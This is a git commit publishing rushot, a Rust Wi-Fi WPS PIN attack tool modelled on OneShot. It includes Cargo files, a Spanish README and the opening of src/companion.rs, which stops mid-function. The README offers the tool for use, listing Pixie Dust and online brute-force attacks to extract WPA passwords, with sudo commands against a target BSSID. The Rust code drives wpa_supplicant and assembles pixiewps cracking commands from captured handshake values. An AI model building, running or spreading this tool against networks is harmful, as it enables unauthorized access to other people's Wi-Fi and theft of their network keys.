Publish rush source code

This commit is contained in:
Jesús David Chapman Vélez 2026-07-28 16:26:06 -05:00
commit 7a3478dfdd
10 changed files with 2827 additions and 19 deletions

25
.gitignore vendored
View file

@ -1,22 +1,11 @@
# ---> Rust __pycache__/
# Generated by Cargo *.py[cod]
# will have compiled files and executables *$py.class
debug/
target/
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries reports/
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
Cargo.lock
# These are backup files generated by rustfmt
**/*.rs.bk
# MSVC Windows builds of rustc generate these, which store debugging information
*.pdb
# RustRover # Added by cargo
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore /target
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
#.idea/

683
Cargo.lock generated Normal file
View file

@ -0,0 +1,683 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "aho-corasick"
version = "1.1.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301"
dependencies = [
"memchr",
]
[[package]]
name = "android_system_properties"
version = "0.1.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
dependencies = [
"libc",
]
[[package]]
name = "anstream"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "824a212faf96e9acacdbd09febd34438f8f711fb84e09a8916013cd7815ca28d"
dependencies = [
"anstyle",
"anstyle-parse",
"anstyle-query",
"anstyle-wincon",
"colorchoice",
"is_terminal_polyfill",
"utf8parse",
]
[[package]]
name = "anstyle"
version = "1.0.14"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000"
[[package]]
name = "anstyle-parse"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "52ce7f38b242319f7cabaa6813055467063ecdc9d355bbb4ce0c68908cd8130e"
dependencies = [
"utf8parse",
]
[[package]]
name = "anstyle-query"
version = "1.1.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc"
dependencies = [
"windows-sys 0.61.2",
]
[[package]]
name = "anstyle-wincon"
version = "3.0.11"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d"
dependencies = [
"anstyle",
"once_cell_polyfill",
"windows-sys 0.61.2",
]
[[package]]
name = "autocfg"
version = "1.5.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53"
[[package]]
name = "bitflags"
version = "2.13.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b588b76d00fde79687d7646a9b5bdf3cc0f655e0bbd080335a95d7e96f3587da"
[[package]]
name = "bumpalo"
version = "3.20.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649"
[[package]]
name = "cc"
version = "1.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5add81bb678e6cb321aff7fa0dc7689ad82b112dbc032cea19f91d6b8e3582b9"
dependencies = [
"find-msvc-tools",
"shlex",
]
[[package]]
name = "cfg-if"
version = "1.0.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
[[package]]
name = "chrono"
version = "0.4.45"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1aa79e62e7697b8e29b513a68abacf485adcd1fe8284a4316c5ae868e6633327"
dependencies = [
"iana-time-zone",
"js-sys",
"num-traits",
"wasm-bindgen",
"windows-link",
]
[[package]]
name = "clap"
version = "4.6.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d91e0c145792ef73a6ad36d27c75ac09f1832222a3c209689d90f534685ee5b7"
dependencies = [
"clap_builder",
"clap_derive",
]
[[package]]
name = "clap_builder"
version = "4.6.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f09628afdcc538b57f3c6341e9c8e9970f18e4a481690a64974d7023bd33548b"
dependencies = [
"anstream",
"anstyle",
"clap_lex",
"strsim",
]
[[package]]
name = "clap_derive"
version = "4.6.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d012d2b9d65aca7f18f4d9878a045bc17899bba951561ba5ec3c2ba1eed9a061"
dependencies = [
"heck",
"proc-macro2",
"quote",
"syn 3.0.3",
]
[[package]]
name = "clap_lex"
version = "1.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c8d4a3bb8b1e0c1050499d1815f5ab16d04f0959b233085fb31653fbfc9d98f9"
[[package]]
name = "colorchoice"
version = "1.0.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570"
[[package]]
name = "colored"
version = "2.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "117725a109d387c937a1533ce01b450cbde6b88abceea8473c4d7a85853cda3c"
dependencies = [
"lazy_static",
"windows-sys 0.59.0",
]
[[package]]
name = "core-foundation-sys"
version = "0.8.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
[[package]]
name = "errno"
version = "0.3.14"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"
dependencies = [
"libc",
"windows-sys 0.61.2",
]
[[package]]
name = "fastrand"
version = "2.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223"
[[package]]
name = "find-msvc-tools"
version = "0.1.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582"
[[package]]
name = "futures-core"
version = "0.3.33"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2cd50c473c80f6d7c3670a752354b8e569b1a7cbfdc0419ec88e5edad85e0dc7"
[[package]]
name = "futures-task"
version = "0.3.33"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b231ed28831efb4a61a08580c4bc233ec56bc009f4cd8f52da2c3cb97df0c109"
[[package]]
name = "futures-util"
version = "0.3.33"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a77a90a256fce34da66415271e30f94ee91c57b04b8a2c042d9cf3220179deaa"
dependencies = [
"futures-core",
"futures-task",
"pin-project-lite",
"slab",
]
[[package]]
name = "getrandom"
version = "0.4.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099"
dependencies = [
"cfg-if",
"libc",
"r-efi",
]
[[package]]
name = "heck"
version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
[[package]]
name = "iana-time-zone"
version = "0.1.65"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470"
dependencies = [
"android_system_properties",
"core-foundation-sys",
"iana-time-zone-haiku",
"js-sys",
"log",
"wasm-bindgen",
"windows-core",
]
[[package]]
name = "iana-time-zone-haiku"
version = "0.1.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
dependencies = [
"cc",
]
[[package]]
name = "is_terminal_polyfill"
version = "1.70.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695"
[[package]]
name = "js-sys"
version = "0.3.103"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "53b44bfcdb3f8d5837a46dae1ca9660a837176eee74a28b229bc626816589102"
dependencies = [
"cfg-if",
"futures-util",
"wasm-bindgen",
]
[[package]]
name = "lazy_static"
version = "1.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
[[package]]
name = "libc"
version = "0.2.189"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2"
[[package]]
name = "linux-raw-sys"
version = "0.12.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53"
[[package]]
name = "log"
version = "0.4.33"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad"
[[package]]
name = "memchr"
version = "2.8.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98"
[[package]]
name = "num-traits"
version = "0.2.19"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
dependencies = [
"autocfg",
]
[[package]]
name = "once_cell"
version = "1.21.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50"
[[package]]
name = "once_cell_polyfill"
version = "1.70.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe"
[[package]]
name = "pin-project-lite"
version = "0.2.17"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd"
[[package]]
name = "proc-macro2"
version = "1.0.107"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9"
dependencies = [
"unicode-ident",
]
[[package]]
name = "quote"
version = "1.0.47"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001"
dependencies = [
"proc-macro2",
]
[[package]]
name = "r-efi"
version = "6.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf"
[[package]]
name = "regex"
version = "1.13.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d"
dependencies = [
"aho-corasick",
"memchr",
"regex-automata",
"regex-syntax",
]
[[package]]
name = "regex-automata"
version = "0.4.16"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8fcfdb36bda0c880c5931cdc7a2bcdc8ba4556847b9d912bca70bc94708711ad"
dependencies = [
"aho-corasick",
"memchr",
"regex-syntax",
]
[[package]]
name = "regex-syntax"
version = "0.8.11"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4"
[[package]]
name = "rushot"
version = "0.1.0"
dependencies = [
"chrono",
"clap",
"colored",
"libc",
"regex",
"tempfile",
"unicode-width",
]
[[package]]
name = "rustix"
version = "1.1.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190"
dependencies = [
"bitflags",
"errno",
"libc",
"linux-raw-sys",
"windows-sys 0.61.2",
]
[[package]]
name = "rustversion"
version = "1.0.23"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f"
[[package]]
name = "shlex"
version = "2.0.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba"
[[package]]
name = "slab"
version = "0.4.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5"
[[package]]
name = "strsim"
version = "0.11.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
[[package]]
name = "syn"
version = "2.0.119"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "syn"
version = "3.0.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "53e9bae58849f64dfa4f5d5ae372c8341f7305f82a3868709269343628b659a3"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "tempfile"
version = "3.27.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd"
dependencies = [
"fastrand",
"getrandom",
"once_cell",
"rustix",
"windows-sys 0.61.2",
]
[[package]]
name = "unicode-ident"
version = "1.0.24"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"
[[package]]
name = "unicode-width"
version = "0.1.14"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7dd6e30e90baa6f72411720665d41d89b9a3d039dc45b8faea1ddd07f617f6af"
[[package]]
name = "utf8parse"
version = "0.2.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
[[package]]
name = "wasm-bindgen"
version = "0.2.126"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4b067c0c11094aef6b7a801c1e34a26affafdf3d051dba08456b868789aaf9a4"
dependencies = [
"cfg-if",
"once_cell",
"rustversion",
"wasm-bindgen-macro",
"wasm-bindgen-shared",
]
[[package]]
name = "wasm-bindgen-macro"
version = "0.2.126"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "167ce5e579f6bcf889c4f7175a8a5a585de84e8ff93976ce393efa5f2837aab1"
dependencies = [
"quote",
"wasm-bindgen-macro-support",
]
[[package]]
name = "wasm-bindgen-macro-support"
version = "0.2.126"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f3997c7839262f4ef12cf90b818d6340c18e80f263f1a94bf157d0ec4420380e"
dependencies = [
"bumpalo",
"proc-macro2",
"quote",
"syn 2.0.119",
"wasm-bindgen-shared",
]
[[package]]
name = "wasm-bindgen-shared"
version = "0.2.126"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dc1b4cb0cc549fcf58d7dfc081778139b3d283a081644e833e84682ad71cea24"
dependencies = [
"unicode-ident",
]
[[package]]
name = "windows-core"
version = "0.62.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb"
dependencies = [
"windows-implement",
"windows-interface",
"windows-link",
"windows-result",
"windows-strings",
]
[[package]]
name = "windows-implement"
version = "0.60.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf"
dependencies = [
"proc-macro2",
"quote",
"syn 2.0.119",
]
[[package]]
name = "windows-interface"
version = "0.59.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358"
dependencies = [
"proc-macro2",
"quote",
"syn 2.0.119",
]
[[package]]
name = "windows-link"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
[[package]]
name = "windows-result"
version = "0.4.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5"
dependencies = [
"windows-link",
]
[[package]]
name = "windows-strings"
version = "0.5.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091"
dependencies = [
"windows-link",
]
[[package]]
name = "windows-sys"
version = "0.59.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
dependencies = [
"windows-targets",
]
[[package]]
name = "windows-sys"
version = "0.61.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
dependencies = [
"windows-link",
]
[[package]]
name = "windows-targets"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
dependencies = [
"windows_aarch64_gnullvm",
"windows_aarch64_msvc",
"windows_i686_gnu",
"windows_i686_gnullvm",
"windows_i686_msvc",
"windows_x86_64_gnu",
"windows_x86_64_gnullvm",
"windows_x86_64_msvc",
]
[[package]]
name = "windows_aarch64_gnullvm"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
[[package]]
name = "windows_aarch64_msvc"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
[[package]]
name = "windows_i686_gnu"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
[[package]]
name = "windows_i686_gnullvm"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
[[package]]
name = "windows_i686_msvc"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
[[package]]
name = "windows_x86_64_gnu"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
[[package]]
name = "windows_x86_64_gnullvm"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
[[package]]
name = "windows_x86_64_msvc"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"

15
Cargo.toml Normal file
View file

@ -0,0 +1,15 @@
[package]
name = "rushot"
version = "0.1.0"
edition = "2021"
authors = ["JesusChapman"]
description = "Wi-Fi WPA WPS PIN attack tool in Rust"
[dependencies]
clap = { version = "4.4", features = ["derive"] }
regex = "1.10"
unicode-width = "0.1"
chrono = "0.4"
colored = "2.0"
libc = "0.2"
tempfile = "3.8"

View file

@ -1,3 +1,96 @@
# rushot # rushot
A WPS pin dumper written in rust, bases on OneShot **rushot** es una reimplementación en **Rust** de la herramienta de ataque Wi-Fi WPA WPS PIN y escáner de redes WPS (*OneShot*). Diseñada para ofrecer máxima velocidad, eficiencia de memoria y ejecuciones seguras a bajo nivel.
**Autor:** JesusChapman
---
## 🚀 Características
- **Escaneo WPS Inteligente:** Interacción dinámica con `iw dev <interface> scan`, formateo con ancho de caracteres Unicode (`unicode-width`) y resaltado de color ANSI (redes vulnerables, bloqueadas y guardadas).
- **Algoritmos de PIN WPS** Generación automática de PINs según la dirección MAC (24-bit, 28-bit, 32-bit, D-Link, D-Link+1, ASUS, Airocon y PINs estáticos predefinidos).
- **Ataque Pixie Dust:** Integración directa con `pixiewps` para la captura de credenciales y extracción de la clave WPA PSK.
- **Ataque Bruteforce Online:** Algoritmo inteligente por fases (primera y segunda mitad de PIN) con cálculo de velocidad (segundos por PIN) y persistencia de sesión.
- **Conexión PBC (Push Button Connect):** Soporte para emparejamiento por botón WPS.
- **Persistencia de Resultados:** Guardado automático de credenciales obtenidas en `reports/stored.txt` y `reports/stored.csv`.
- **Soporte MediaTek:** Opción `--mtk-wifi` para activar el controlador en dispositivos MediaTek (`/dev/wmtWifi`).
---
## 📋 Requisitos
- **Permisos de Superusuario (Root):** Requerido para manipular la interfaz de red e interactuar con sockets Unix de `wpa_supplicant`.
- **Herramientas del Sistema:**
- `wpa_supplicant` (compilado con soporte WPS `CONFIG_WPS=y`)
- `iw` y `iproute2` (`ip`)
- `pixiewps` *(opcional, necesario únicamente para el ataque Pixie Dust `-K`)*
---
## 🛠️ Compilación e Instalación
```bash
git clone https://github.com/JesusChapman/rushot.git
cd rushot
cargo build --release
```
El binario compilado estará ubicado en `target/release/rushot`.
---
## 💻 Uso
```text
rushot 0.1.0
Autor: JesusChapman
Wi-Fi WPA WPS PIN attack and scanning tool in Rust
Uso: rushot -i <INTERFAZ> [OPCIONES]
```
### Argumentos Principales:
| Argumento | Descripción |
| :--- | :--- |
| `-i, --interface <wlan0>` | Nombre de la interfaz de red inalámbrica *(requerido)* |
| `-b, --bssid <mac>` | BSSID del punto de acceso objetivo |
| `-p, --pin <wps_pin>` | Especifica un PIN manual (4 u 8 dígitos) |
| `-K, --pixie-dust` | Ejecuta el ataque Pixie Dust |
| `-F, --pixie-force` | Ejecuta `pixiewps` con la opción `--force` |
| `-X, --show-pixie-cmd` | Muestra el comando de `pixiewps` ejecutado |
| `-B, --bruteforce` | Ejecuta ataque de fuerza bruta online |
| `--pbc` | Inicia conexión WPS por botón |
| `-d, --delay <n>` | Retardo entre intentos de PIN (segundos) |
| `-w, --write` | Guarda las credenciales obtenidas en `reports/` |
| `--iface-down` | Desactiva la interfaz al finalizar |
| `-l, --loop` | Modo en bucle continuo |
| `-r, --reverse-scan` | Invierte el orden de las redes en la lista mostrada |
| `--mtk-wifi` | Activa/desactiva controlador Wi-Fi MediaTek |
| `-v, --verbose` | Salida detallada de depuración |
---
## 📌 Ejemplos
Escaneo interactivo de redes WPS en `wlan0`:
```bash
sudo rushot -i wlan0
```
Ataque Pixie Dust a un BSSID específico y guardado de resultados:
```bash
sudo rushot -i wlan0 -b 00:90:4C:C1:AC:21 -K -w
```
Ataque de fuerza bruta online con retardo de 2 segundos:
```bash
sudo rushot -i wlan0 -b 00:90:4C:C1:AC:21 -B -d 2.0
```
---
## 📄 Licencia
Este proyecto se distribuye balo licensia [GPL-3.0](./LICENSE)

891
src/companion.rs Normal file
View file

@ -0,0 +1,891 @@
use crate::wpspin::WPSpin;
use chrono::Local;
use std::collections::VecDeque;
use std::fs::{self, File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::os::unix::net::UnixDatagram;
use std::path::PathBuf;
use std::process::{Child, Command, Stdio};
use std::thread;
use std::time::{Duration, Instant};
use tempfile::TempDir;
pub struct PixiewpsData {
pub pke: String,
pub pkr: String,
pub e_hash1: String,
pub e_hash2: String,
pub authkey: String,
pub e_nonce: String,
}
impl PixiewpsData {
pub fn new() -> Self {
Self {
pke: String::new(),
pkr: String::new(),
e_hash1: String::new(),
e_hash2: String::new(),
authkey: String::new(),
e_nonce: String::new(),
}
}
pub fn clear(&mut self) {
*self = Self::new();
}
pub fn got_all(&self) -> bool {
!self.pke.is_empty()
&& !self.pkr.is_empty()
&& !self.e_nonce.is_empty()
&& !self.authkey.is_empty()
&& !self.e_hash1.is_empty()
&& !self.e_hash2.is_empty()
}
pub fn get_pixie_cmd(&self, full_range: bool) -> String {
let mut cmd = format!(
"pixiewps --pke {} --pkr {} --e-hash1 {} --e-hash2 {} --authkey {} --e-nonce {}",
self.pke, self.pkr, self.e_hash1, self.e_hash2, self.authkey, self.e_nonce
);
if full_range {
cmd.push_str(" --force");
}
cmd
}
}
pub struct ConnectionStatus {
pub status: String,
pub last_m_message: u32,
pub essid: String,
pub wpa_psk: String,
pub bssid: String,
}
impl ConnectionStatus {
pub fn new() -> Self {
Self {
status: String::new(),
last_m_message: 0,
essid: String::new(),
wpa_psk: String::new(),
bssid: String::new(),
}
}
pub fn is_first_half_valid(&self) -> bool {
self.last_m_message > 5
}
pub fn clear(&mut self) {
*self = Self::new();
}
}
pub struct BruteforceStatus {
pub start_time: String,
pub mask: String,
pub last_attempt_time: Instant,
pub attempts_times: VecDeque<f64>,
pub counter: usize,
pub statistics_period: usize,
}
impl BruteforceStatus {
pub fn new() -> Self {
Self {
start_time: Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
mask: String::new(),
last_attempt_time: Instant::now(),
attempts_times: VecDeque::with_capacity(15),
counter: 0,
statistics_period: 5,
}
}
pub fn display_status(&self) {
if self.attempts_times.is_empty() {
return;
}
let sum: f64 = self.attempts_times.iter().sum();
let average_pin_time = sum / (self.attempts_times.len() as f64);
let percentage = if self.mask.len() == 4 {
self.mask.parse::<f64>().unwrap_or(0.0) / 11000.0 * 100.0
} else if self.mask.len() >= 7 {
let s_half = self.mask[4..].parse::<f64>().unwrap_or(0.0);
((10000.0 / 11000.0) + (s_half / 11000.0)) * 100.0
} else {
0.0
};
println!(
"[*] {:.2}% complete @ {} ({:.2} seconds/pin)",
percentage, self.start_time, average_pin_time
);
}
pub fn register_attempt(&mut self, mask: String) {
self.mask = mask;
self.counter += 1;
let now = Instant::now();
let elapsed = now.duration_since(self.last_attempt_time).as_secs_f64();
if self.attempts_times.len() >= 15 {
self.attempts_times.pop_front();
}
self.attempts_times.push_back(elapsed);
self.last_attempt_time = now;
if self.counter == self.statistics_period {
self.counter = 0;
self.display_status();
}
}
}
pub struct Companion {
pub interface: String,
pub save_result: bool,
pub print_debug: bool,
pub bssid: String,
pub last_pwr: String,
pub _tempdir: TempDir,
pub _tempconf: PathBuf,
pub wpas_ctrl_path: PathBuf,
pub res_socket_file: PathBuf,
pub retsock: UnixDatagram,
pub wpas: Child,
pub pixie_creds: PixiewpsData,
pub connection_status: ConnectionStatus,
pub bruteforce: Option<BruteforceStatus>,
pub sessions_dir: PathBuf,
pub pixiewps_dir: PathBuf,
pub reports_dir: PathBuf,
pub generator: WPSpin,
}
fn get_hex(line: &str) -> String {
let parts: Vec<&str> = line.splitn(4, ':').collect();
if parts.len() >= 3 {
parts[2].replace(' ', "").to_uppercase()
} else {
String::new()
}
}
fn parse_hex_to_string(hex: &str) -> String {
let mut bytes = Vec::new();
let chars: Vec<char> = hex.chars().collect();
for i in (0..chars.len()).step_by(2) {
if i + 1 < chars.len() {
let s: String = [chars[i], chars[i + 1]].iter().collect();
if let Ok(b) = u8::from_str_radix(&s, 16) {
bytes.push(b);
}
}
}
String::from_utf8_lossy(&bytes).to_string()
}
impl Companion {
pub fn new(
interface: String,
save_result: bool,
print_debug: bool,
bssid: String,
) -> Result<Self, String> {
let tempdir = tempfile::tempdir().map_err(|e| e.to_string())?;
let tempconf = tempdir.path().join("wpa_supplicant.conf");
let conf_content = format!(
"ctrl_interface={}\nctrl_interface_group=root\nupdate_config=1\n",
tempdir.path().display()
);
fs::write(&tempconf, conf_content).map_err(|e| e.to_string())?;
let wpas_ctrl_path = tempdir.path().join(&interface);
println!("[*] Running wpa_supplicant…");
let cmd = format!(
"wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i{} -c{}",
interface,
tempconf.display()
);
let wpas = Command::new("sh")
.arg("-c")
.arg(&cmd)
.stdout(Stdio::piped())
.stderr(Stdio::inherit())
.spawn()
.map_err(|e| format!("Failed to start wpa_supplicant: {}", e))?;
// Wait for control socket file to exist
let start = Instant::now();
while !wpas_ctrl_path.exists() {
thread::sleep(Duration::from_millis(100));
if start.elapsed() > Duration::from_secs(10) {
return Err("Timeout waiting for wpa_supplicant control interface".to_string());
}
}
let res_socket_file = tempfile::Builder::new()
.prefix("rushot_sock_")
.tempfile()
.map_err(|e| e.to_string())?
.path()
.to_path_buf();
// Remove tempfile so UnixDatagram bind succeeds
let _ = fs::remove_file(&res_socket_file);
let retsock = UnixDatagram::bind(&res_socket_file)
.map_err(|e| format!("Failed to bind datagram socket: {}", e))?;
let home_dir = std::env::var("HOME").unwrap_or_else(|_| "/root".to_string());
let home_path = PathBuf::from(home_dir);
let sessions_dir = home_path.join(".rushot/sessions/");
let pixiewps_dir = home_path.join(".rushot/pixiewps/");
let reports_dir = PathBuf::from("reports/");
fs::create_dir_all(&sessions_dir).ok();
fs::create_dir_all(&pixiewps_dir).ok();
Ok(Self {
interface,
save_result,
print_debug,
bssid,
last_pwr: "0".to_string(),
_tempdir: tempdir,
_tempconf: tempconf,
wpas_ctrl_path,
res_socket_file,
retsock,
wpas,
pixie_creds: PixiewpsData::new(),
connection_status: ConnectionStatus::new(),
bruteforce: None,
